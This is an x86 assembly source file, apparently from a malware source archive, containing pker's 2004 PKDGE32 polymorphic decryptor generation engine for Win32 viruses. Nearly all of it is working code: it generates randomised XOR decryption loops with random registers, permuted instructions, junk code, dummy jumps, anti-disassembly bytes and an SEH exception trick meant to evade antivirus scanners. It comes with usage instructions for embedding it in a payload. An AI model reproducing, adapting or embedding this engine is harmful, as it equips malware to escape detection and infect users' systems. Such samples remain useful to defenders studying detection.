MalwareSourceCode/Engines/Virus.Win32.Pker.inc
2020-10-09 21:50:53 -05:00

929 lines
34 KiB
PHP

;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This is the main procedure of the engine. It controlz the whole generation
; process, including SEH setup, instruction generation, junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; ecx --- decrypt buffer size (counter in bytez)
; edx --- decrypt key
; edi --- pointz to the buffer to save decryptor
; ebx --- pointz to the buffer where saved the encrypted code
; esi --- pointz to the RNG seed buffer
;
; Output:
; edi --- the end of the decryptor
; eax --- pointz to the address of the code which will be decrypted in
; the decryptor, this means we can place the code which will be
; decrypted anywhere by fixing the value pointed by EAX
;
__pkdge32: pushad
xor ebp,ebp
xchg esi,edi ; initialize the RNG seed
call __randomize ; ...
xchg esi,edi ; ...
;
; First, we select four random registerz for later use. These four registerz
; are all different
;
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
call pkdg_sel_reg
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;
push edi
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0e8h ; seh instruction 1
stosb ; ...
stosd ; addr 1, no matter what, fix l8r
push edi ; save addr1 to fix
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0824648bh ; seh instruction 2
stosd ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 3
stosb ; ...
stosb ; addr 2, no matter what, fix l8r
push edi ; save addr2 to fix
mov eax,[esp+4] ; fix addr1
xchg edi,eax ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 4
and ah,7 ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,7 ; ...
shl ebx,11 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0ff64h ; seh instruction 5
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,30h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8964h ; seh instruction 6
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,20h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 7
and eax,700h ; ...
or eax,08ffh ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 8
stosb ; ...
mov eax,[esp+8] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
mov ah,bh ; seh instruction 9
and eax,700h ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,700h ; ...
shl ebx,3 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8f64h ; seh instruction 10
stosw ; ...
mov al,bh ; ...
and eax,7 ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,bh ; seh instruction 11
and al,7 ; ...
or al,58h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
add esp,8 ; balance the stack
;
; Now, generate the first two instructionz with junk codez between them, and
; permute the two instructionz in a random order.
;
mov ecx,2
call __random_rdtsc
or ecx,ecx
jz pkdg_gen_12
call pkdg_gen_1
call pkdg_gen_2
jmp pkdg_gen_f2f
pkdg_gen_12: call pkdg_gen_2
call pkdg_gen_1
;
; The last step, we generate the last four instructionz with junk codez in them
; these four instructionz must in the same order, but the registerz they use
; are still random
;
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
push edi ; save loop address
push esi
mov eax,ebx ; xor byte [Rw],Imm8
shr eax,12 ; ...
and al,7 ; ...
mov esi,[esp+28] ; ...
call __pkdge32_gen_xor_reg_imm
pop esi
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; inc Rw
shr eax,12 ; ...
and eax,7 ; ...
or al,40h
stosb
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; dec Rz
shr eax,4 ; ...
and eax,7 ; ...
or al,48h ; ...
stosb ; ...
pop eax ; jnz decrypt_loop
sub eax,edi ; get delta
dec eax ; ...
dec eax ; ...
push eax
mov al,75h ; write opcode
stosb ; ...
pop eax
stosb ; write operand
xor eax,eax
call __pkdge32_junk
mov [esp],edi ; save new EDI
popad
ret
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
mov eax,ebx ; get Rw
shr eax,12 ; ...
call pkdge32_gen12
mov [esp+32],eax ; save offset of code2decrypt
ret
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
mov eax,ebx ; get Rz
shr eax,4 ; ...
and eax,0fh ; ...
call pkdge32_gen12
ret
;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;
pkdge32_gen12: push ecx
push eax ; save mask
mov ecx,2 ; determine using MOV REG/IMM
call __random_rdtsc ; or PUSH IMM/POP REG
or eax,eax
pop eax ; restore mask
pop ecx
jz pkdg_g123_0
call __pkdge32_gen_mov_reg_imm
push edi
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
push eax
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
;
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
; make EBX to the following structure:
;
; 31 15 0
; +-----+-----+-----+-----+------+------+------+------+
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
; +-----+-----+-----+-----+------+------+------+------+
;
pkdg_sel_reg: mov eax,[esp+8] ; select random register
mov edx,8 ; ...
call __random ; ...
or al,al
jz pkdg_sel_reg ; don't use EAX
cmp al,4
jz pkdg_sel_reg ; don't use ESP
cmp al,5
jz pkdg_sel_reg ; don't use EBP
or al,8 ; DWORD type
push ebx
and ebx,0fh
cmp bl,al ; R == Rx ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,4
and ebx,0fh
cmp bl,al ; R == Rz ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,8
cmp bl,al ; R == Ry ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,12
cmp bl,al ; R == Rw ?
pop ebx
jz pkdg_sel_reg
ret
;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All the register mask in the engine (PKDGE32) measure up this formula:
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 | type |
; +-------+-------+--------+
; | x | 0 | byte |
; +-------+-------+--------+
; | 0 | 1 | dword |
; +-------+-------+--------+
; | 1 | 1 | word |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing
;
__pkdge32_test_regmask:
test ah,1
jz pkdg_trm_ret
push eax
mov al,66h
stosb
pop eax
pkdg_trm_ret: ret
;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_mov_reg_imm:
call __pkdge32_test_regmask
push esi
or al,0b0h ; generate opcode
stosb ; ...
xchg eax,esi ; EAX get the operand
shr esi,4
jc pkdg_gmri_dw ; word/dword ? byte ?
stosb ; byte
pop esi
ret
pkdg_gmri_dw: shr esi,5
pop esi
jc pkdg_gmri_w
stosd ; dword
ret
pkdg_gmri_w: stosw ; word
ret
;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_pushimm_popreg:
call __pkdge32_test_regmask
push ecx
mov ecx,esi ; save IMM in ecx
xchg esi,eax
test esi,8 ; test BYTE or WORD/DWORD
jz pkdg_gpp_b
mov al,68h ; push WORD/DWORD
stosb ; write opcode
xchg eax,ecx ; get IMM
test esi,100h ; test WORD or DWORD
jnz pkdg_gpp_w
stosd ; write operand
jmp pkdg_gpp_pop
pkdg_gpp_w: stosw
jmp pkdg_gpp_pop
pkdg_gpp_b: mov al,6ah ; push BYTE
stosb ; write opcode
mov al,cl ; get IMM
stosb ; write operand
pkdg_gpp_pop: push edi
xor eax,eax
push esi
mov esi,[esp+28]
call __pkdge32_junk
pop esi
call __pkdge32_test_regmask
xchg esi,eax
or al,58h ; generate POP opcode
stosb ; write pop REG opcode
pop eax
pop ecx
ret
;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; esi --- the immediate number
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_xor_reg_imm:
call __pkdge32_test_regmask
test al,1000b
jnz pkdg_gxri_dw
and eax,7 ; register mask
xchg al,ah
or eax,3080h
stosw
xchg eax,esi
stosb
ret
pkdg_gxri_dw: push eax
and eax,7 ; register mask
xchg al,ah
or eax,3081h
stosw
xchg eax,esi
pop esi
shr esi,9
jc pkdg_gxri_w
stosd ; dword
ret
pkdg_gxri_w: stosw ; word
ret
;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator. It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This procedure use EAX as junk register in order to generate instructionz
; like:
;
; mov eax,21343ab7h
; shr eax,8
; or:
; push eax
; rol eax,1
; pop eax
; etc.
;
; It generatez dummy jumpz such as:
;
; call @1
; junk
; jmp @3
; @2: junk
; ret
; @1: junk
; jmp @2
; @3: junk
;
; It also generatez anti-static-debugging opcodez such as:
;
; jmp @0
; db e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- If eax equalz to zero, the function generatez random length of
; instructionz, if eax is nonzero, the function generatez a
; certain length of instruction.
; esi --- pointz to the RNG seed buffer
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing but junk codez in the buffer that EDI specified
;
__pkdge32_junk: pushad
xor ebx,ebx
xchg esi,ebp ; let EBP hold the seed ptr.
or eax,eax ; EAX containz number from 0~7
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
mov edx,7 ; 6: generate dummy jumpz
mov eax,ebp
call __random ; ...
pkdg_js: or eax,eax ; 0: nothing to do
jz pkdg_j_ret ; just go back
xchg ecx,eax ; let ECX hold that number
cmp ecx,6
jz pkdg_j_dj
;
; Generate certain length simpile instructionz
;
pkdg_j_gclsi: mov edx,ecx
mov eax,ebp
call __random
or eax,eax
jz pkdg_j_g1b
dec eax
jz pkdg_j_g2b
dec eax
jz pkdg_j_g3b
dec eax
dec eax
jz pkdg_j_g5b
jmp pkdg_j_gclsi
;
; Generate 5-byte instruction
;
pkdg_j_g5b: call pkdg_j_5
db 0b8h ; mov eax,imm32
db 05h ; add eax,imm32
db 15h ; adc eax,imm32
db 2dh ; sub eax,imm32
db 1dh ; sbb eax,imm32
db 3dh ; cmp eax,imm32
db 0a9h ; test eax,imm32
db 0dh ; or eax,imm32
db 25h ; and eax,imm32
db 35h ; xor eax,imm32
pkdg_j_5: pop esi
mov eax,ebp
mov edx,10
call __random
add esi,eax
movsb
mov eax,ebp
mov edx,0fffffffch
call __random
inc eax
inc eax
stosd
sub ecx,5 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 3-byte instruction
;
pkdg_j_g3b: call pkdg_j_3
db 0c1h,0e0h ; shl eax,imm8
db 0c1h,0e8h ; shr eax,imm8
db 0c1h,0c0h ; rol eax,imm8
db 0c1h,0c8h ; ror eax,imm8
db 0c1h,0d0h ; rcl eax,imm8
db 0c1h,0d8h ; rcr eax,imm8
db 0c0h,0e0h ; shl al,imm8
db 0c0h,0e8h ; shr al,imm8
db 0c0h,0c0h ; rol al,imm8
db 0c0h,0c8h ; ror al,imm8
db 0c0h,0d0h ; rcl al,imm8
db 0c0h,0d8h ; rcr al,imm8
db 0ebh,01h ; anti-static-debugging instr.
pkdg_j_3: pop esi
mov eax,ebp
mov edx,13
call __random
shl eax,1 ; EAX *= 2
add esi,eax
movsw
cmp eax,24
jge pkdg_j3_anti
mov eax,ebp
mov edx,14
call __random
inc eax
inc eax
pkdg_j_3f: stosb
sub ecx,3 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
pkdg_j3_anti: mov eax,ebp
mov edx,10h
call __random
add al,70h
jmp pkdg_j_3f
;
; Generate 2-byte instruction
;
pkdg_j_g2b: call pkdg_j_2
db 89h ; mov eax,reg
db 01h ; add eax,reg
db 11h ; adc eax,reg
db 29h ; sub eax,reg
db 19h ; sbb eax,reg
db 39h ; cmp eax,reg
db 85h ; test eax,reg
db 09h ; or eax,reg
db 21h ; and eax,reg
db 31h ; xor eax,reg
db 0b0h ; mov al,imm8
db 04h ; add al,imm8
db 14h ; adc al,imm8
db 2ch ; sub al,imm8
db 1ch ; sbb al,imm8
db 3ch ; cmp al,imm8
db 0a8h ; test al,imm8
db 0ch ; or al,imm8
db 24h ; and al,imm8
db 34h ; xor al,imm8
pkdg_j_2: pop esi
mov eax,ebp
mov edx,20
call __random
add esi,eax
movsb ; write the opcode
cmp eax,10
jge pkdg_j2_imm8
mov eax,ebp
mov edx,8
call __random
shl eax,3 ; dest. operand
or al,0c0h ; ...
jmp pkdg_j2_f
pkdg_j2_imm8: mov eax,ebp
mov edx,100h
call __random
pkdg_j2_f: stosb
dec ecx ; decrease counter
dec ecx ; ...
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 1-byte instruction
;
pkdg_j_g1b: call pkdg_j_1
db 90h ; nop
db 0f8h ; clc
db 0f9h ; stc
db 40h ; inc eax
db 48h ; dec eax
db 37h ; aaa
db 3fh ; aas
db 98h ; cbw
db 0fch ; cld
db 0f5h ; cmc
db 27h ; daa
db 2fh ; das
db 9fh ; lahf
db 0d6h ; salc
pkdg_j_1: pop esi
mov eax,ebp
mov edx,14
call __random
add esi,eax
movsb ; write the code
dec ecx ; decrease counter
or ecx,ecx
jnz pkdg_j_gclsi
pkdg_j_rptr: mov [esp],edi
pkdg_j_ret: popad
ret
;
; Generate dummy jumpz. the generation formula show in the decription of the
; __pkdge32_junk procedure
;
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
stosb ; ...
stosd ; addr1, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
stosb ; addr2, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0c3h ; ret
stosb ; ...
mov eax,[esp+4] ; fix addr1
xchg eax,edi ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
mov eax,[esp] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
pop eax ; pop a shit
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
jmp pkdg_j_rptr